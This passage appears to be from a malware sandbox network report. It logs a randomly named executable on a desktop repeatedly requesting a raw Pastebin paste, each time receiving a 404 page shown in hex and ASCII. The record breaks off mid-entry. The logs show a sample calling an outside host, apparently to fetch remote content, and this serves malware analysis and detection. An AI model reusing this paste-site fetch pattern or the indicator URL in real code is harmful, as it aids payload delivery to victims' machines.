2024-07-02 14:31:44 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	54891	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:44 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:44 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 148 Server: cloudflare CF-RAY: 89cf5757bd6e436f-EWR
2024-07-02 14:31:44 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	54892	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:45 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:45 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 149 Server: cloudflare CF-RAY: 89cf575bccc27293-EWR
2024-07-02 14:31:45 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	54893	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:45 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:45 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 149 Server: cloudflare CF-RAY: 89cf57601c3a43ee-EWR
2024-07-02 14:31:45 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	54894	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:46 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:46 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 150 Server: cloudflare CF-RAY: 89cf57640bc74398-EWR
2024-07-02 14:31:46 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	54895	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:47 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:47 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 151 Server: cloudflare CF-RAY: 89cf5767dd21c3ff-EWR
2024-07-02 14:31:47 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	54896	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:47 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:47 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 151 Server: cloudflare CF-RAY: 89cf576bdd13432b-EWR
2024-07-02 14:31:47 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	54897	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:48 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:48 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 152 Server: cloudflare CF-RAY: 89cf5771596541a6-EWR
2024-07-02 14:31:48 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	54898	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:49 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:49 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 153 Server: cloudflare CF-RAY: 89cf57754ba4726b-EWR
2024-07-02 14:31:49 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	54899	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:49 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:49 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 153 Server: cloudflare CF-RAY: 89cf5779190543b0-EWR
2024-07-02 14:31:49 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	54900	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:50 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:50 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 154 Server: cloudflare CF-RAY: 89cf577cec8f4411-EWR
2024-07-02 14:31:50 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	54901	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:51 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:51 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 155 Server: cloudflare CF-RAY: 89cf5781fdfe43e7-EWR
2024-07-02 14:31:51 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	54902	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:51 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:52 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 155 Server: cloudflare CF-RAY: 89cf5785cf2e8cc5-EWR
2024-07-02 14:31:52 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, 